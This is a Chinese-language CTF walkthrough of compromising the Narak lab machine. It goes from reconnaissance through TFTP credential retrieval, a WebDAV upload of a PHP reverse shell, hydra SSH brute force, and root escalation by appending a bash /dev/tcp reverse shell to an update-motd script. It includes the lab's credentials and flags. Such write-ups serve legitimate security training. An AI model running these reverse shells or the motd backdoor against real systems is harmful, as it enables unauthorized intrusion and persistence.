目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux ubuntu 4.15.0-20-generic
2、使用工具/软件
Kali:arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、davtest(webdav的测试工具)、tftp(下载靶机文件)
测试网址:http://192.168.202.141
二、测试目的
这是个CTF靶机,可以找出题人留下的线索来进行猜测,尝试,进行getshell和提权。
渗透narak靶机,利用隐藏信息搜集到用户名和密码,利用webdav的上传功能getshell,找到隐藏信息,枚举ssh用户登录到普通用户,利用/etc/update-mod 权限设置不合理,得到root用户
三、操作过程
1、信息搜集
①主机探测
Arp扫描,主机探测
arp-scan -l
找到靶机IP为:192.168.202.141
②端口和服务探测
使用nmap进行端口和服务扫描
(1).TCP扫描
nmap -sT -A -p- -T4 192.168.202.141
两个服务:22端口ssh、80端口web
(2).udp扫描
Udp协议同样有很多服务,只扫描tcp协议是不会找到udp协议的服务的。Nmap也可以扫描udp服务
nmap -sU --top-port 20 192.168.202.141
-sU: udp扫描参数
--top-port 20 : 扫描检测到fa'bao
可以看到一个tftp服务,可以下载文件
③扫描目录
使用gobuster扫描网页目录
gobuster dir -u 192.168.202.141 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
扫到一个tips.txt文件 /webdav目录(需要登录认证)
2、进行渗透
①渗透网页
默认网页没有什么有用的信息,只有图片和文字
Tips.txt中,提示说在creds.txt中有打开大门的线索,但是这不是路径
Webdav目录是登录框,暂时没什么办法
Webdav可以进行远程文件管理,支持文件上传、下载、重命名、删除和目录操作
②获取密码
Tftp服务,udp协议传输,很简单而且不安全,仅提供了基本的文件传输功能,没有用户认证机制,没有目录结构。
信息搜集时,看到了开启了tftp服务,尝试在服务上下载creds.txt文件,成功
查看得到一串密文,尝试base64解密
yamdoot:Swarg
像是个账号密码
③登录webdav
目前只有一个登录框了,尝试登录webdav目录,登录成功
3、Getshell
Webdav是一个上传文件管理的系统,可以尝试使用管理工具进行上传文件
先写一个nc反弹木马shell.php,代码如下:
<?php exec(“bash -c 'bash -i >& /dev/tcp/192.168.202.134/7777 0>&1'”); ?>
命令解释:
Exec():用于系统命令
Bash -c ‘’ :执行bash命令
Bash -i:启动一个交互式shell
>& /dev/tcp/192.168.202.134/7777:将标准输入和输出重定向到 TCP 连接(反向 shell),`192.168.202.134` 是目标 IP,`666` 是目标端口。
0>&1:将标准输入重定向到标准输出,以确保所有输入都通过TCP连接传输。
再进行木马上传
Davtest是webdav的一个测试工具
davtest -url http://192.168.202.141/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /
命令解释:
-url :指定webdav的目录
-auth yamdoot:Swarg :指定账号和密码
-uploadfile :指定上传的文件,这个命令必须和-uploadloc命令一起使用
-uploadloc : 指定上传文件的路径
上传成功就可以连接shell了
Kali端开启监听
nc -lvvp 7777
web端打开shell.php,成功连接
4、提权
查找suid文件,没什么收获,都是系统文件
寻找可写入文件
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
有收获,/mnt/hell.sh 里面有密文, /etc/update-motd.d/文件是登录前加载的系统文件,可以用来提权
/etc/update-motd.d/ 目录用于存放用于动态生成登录消息(Message of the Day,MOTD)的脚本。在登录到系统时,这些脚本会被按顺序执行,生成并显示系统的动态消息。通常是root权限的文件
查看/mnt/hell.sh文件,解密得到chitragupt的明文(brainfuck密码)
猜测这可能是个用户的密码,先查看用户
使用hydra进行ssh登录爆破试试,用户生成一个字典,密码使用chitragupt
果然就爆破出了一个用户
inferno/chitragupt
ssh登录到账号inferno
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}
利用之前找到的/etc/update-motd.d/文件进行提权
写入nc反弹shell
echo "bash -c 'bash -i >& /dev/tcp/192.168.202.134/7777 0>&1'" >> 00-header
退出登录,开启两个窗口,一个监听,一个ssh登录,成功获取root权限
Root Flag: {9440aee508b6215995219c58c8ba4b45}
四、结论
CTF靶机的特点就是这样,希望你能从中感受到渗透的乐趣。
信息搜集和分析很重要,这个靶机把密码信息隐藏在各处。信息搜集到网页的目录,和tftp服务就很轻松的拿到了webdav的账号和密码。Getshell后,又是在找可写文件时候得到了密码的密文以及可提权的文件。